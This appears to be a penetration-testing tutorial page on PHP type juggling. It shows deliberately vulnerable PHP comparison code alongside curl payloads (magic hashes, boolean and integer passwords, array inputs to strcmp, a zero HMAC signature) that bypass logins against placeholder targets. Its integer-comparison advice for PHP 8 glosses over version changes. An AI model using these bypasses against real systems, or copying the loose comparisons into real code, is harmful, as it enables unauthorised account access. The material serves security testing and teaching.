Skip to content

PHP Type Juggling

4 min read Created Sep 13, 2026 Last updated Sep 13, 2026

PHP loose comparison (==) converts operands to a common type before comparing. Strict comparison (===) checks both value and type with no conversion. When authentication logic, HMAC verification, or access control uses loose comparison, an attacker can submit values that PHP coerces to match expected values. This turns secure-looking comparisons into trivially bypassable checks. The core issue is that PHP treats "0e123" as 0 in numeric context, true matches any non-empty string, and 0 equals any non-numeric string. Type juggling is one of the most common PHP-specific authentication bypass techniques; test it alongside the other methods covered in authentication vulnerability testing.

Magic Hashes

Hashes starting with 0e followed by only digits are interpreted as scientific notation (0 * 10^N = 0) in loose comparison. If the stored password hash starts with 0e and only contains digits after it, comparing it with == to any other 0e-digit-only hash returns true because both evaluate to 0.

A vulnerable login hashes the submitted password and compares it with ==:

$hash = md5($_POST['password']);
if ($hash == '0e462097431906509019562988736854') {
    // authenticated
}

Submitting QNKCDZO as the password produces a different 0e hash, but == treats both as 0, so the comparison passes.

┌──(kali㉿kali)-[~]
└─$ curl -si -X POST "http://$TARGET_IP:$PORT/login" -d "username=admin&password=QNKCDZO"
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJhZG1pbiI6dHJ1ZX0

Authentication Bypass

When login code compares user input directly with ==, submitting specific types bypasses the check.

if ($_POST['password'] == $stored_password) {
    // authenticated
}

Submitting true (as boolean) matches any non-empty string. Submitting 0 matches any string that does not start with a digit. Submitting an empty array [] can cause unexpected behavior. JSON requests preserve native types, making this the most practical delivery method.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://$TARGET_IP:$PORT/login" -H "Content-Type: application/json" -d '{"username":"admin","password":true}'
{"status":"success","message":"Welcome, admin"}
Explain command
-H "Content-Type: application/json" Sends the request body as JSON so PHP json_decode preserves native types.
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://$TARGET_IP:$PORT/login" -H "Content-Type: application/json" -d '{"username":"admin","password":0}'
{"status":"success","message":"Welcome, admin"}

HMAC Bypass

When HMAC verification uses == instead of hash_equals(), the same 0e trick works.

$expected = hash_hmac('md5', $message, $secret);
if ($expected == $_POST['signature']) {
    // valid signature
}

If the computed HMAC starts with 0e and contains only digits, sending 0 as the signature passes the check because "0eNNN..." == 0 is true. The attacker controls the message, so they can iterate over message values until the resulting HMAC is a magic hash.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://$TARGET_IP:$PORT/api/verify" -d "message=test&signature=0"
{"valid":true}

strcmp Bypass

strcmp() returns NULL when passed an array instead of a string. In loose comparison, NULL == 0 is true.

if (strcmp($_POST['password'], $stored_password) == 0) {
    // authenticated
}

PHP receives password as an array, strcmp returns NULL, and NULL == 0 passes.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://$TARGET_IP:$PORT/login" -d "password[]=anything"
{"status":"success","message":"Welcome, admin"}

is_numeric Bypass

is_numeric() accepts scientific notation (1e2), hex strings (0xFF in PHP < 7), and values with leading whitespace. This can bypass numeric validation before the value reaches a SQL query or comparison.

if (is_numeric($_GET['id'])) {
    $query = "SELECT * FROM users WHERE id = " . $_GET['id'];
}

Submitting 1e0 passes is_numeric() and evaluates to 1. In older PHP versions, 0x1A is accepted as numeric. PHP 7+ no longer considers hex strings numeric, but scientific notation still works.

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP:$PORT/profile?id=1e0"

JSON-Based Type Juggling

json_decode() preserves the original JSON types. Sending true (boolean), 0 (integer), or [] (array) in a JSON body passes these native types to PHP comparison operators. This is the most reliable type juggling vector because HTML forms always send strings, but JSON preserves types.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://$TARGET_IP:$PORT/api/login" -H "Content-Type: application/json" -d '{"username":"admin","password":true}'
{"status":"success","message":"Authenticated as admin"}
Explain command
-H "Content-Type: application/json" Ensures the server parses the body as JSON, preserving native types.
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://$TARGET_IP:$PORT/api/login" -H "Content-Type: application/json" -d '{"username":"admin","password":[]}'

The array comparison [] == "string" is always false in PHP 8+, but in PHP 7 and below, arrays compared to strings with == would produce warnings but could behave unexpectedly depending on the comparison chain. Focus on the boolean and integer vectors for PHP 8 targets.

References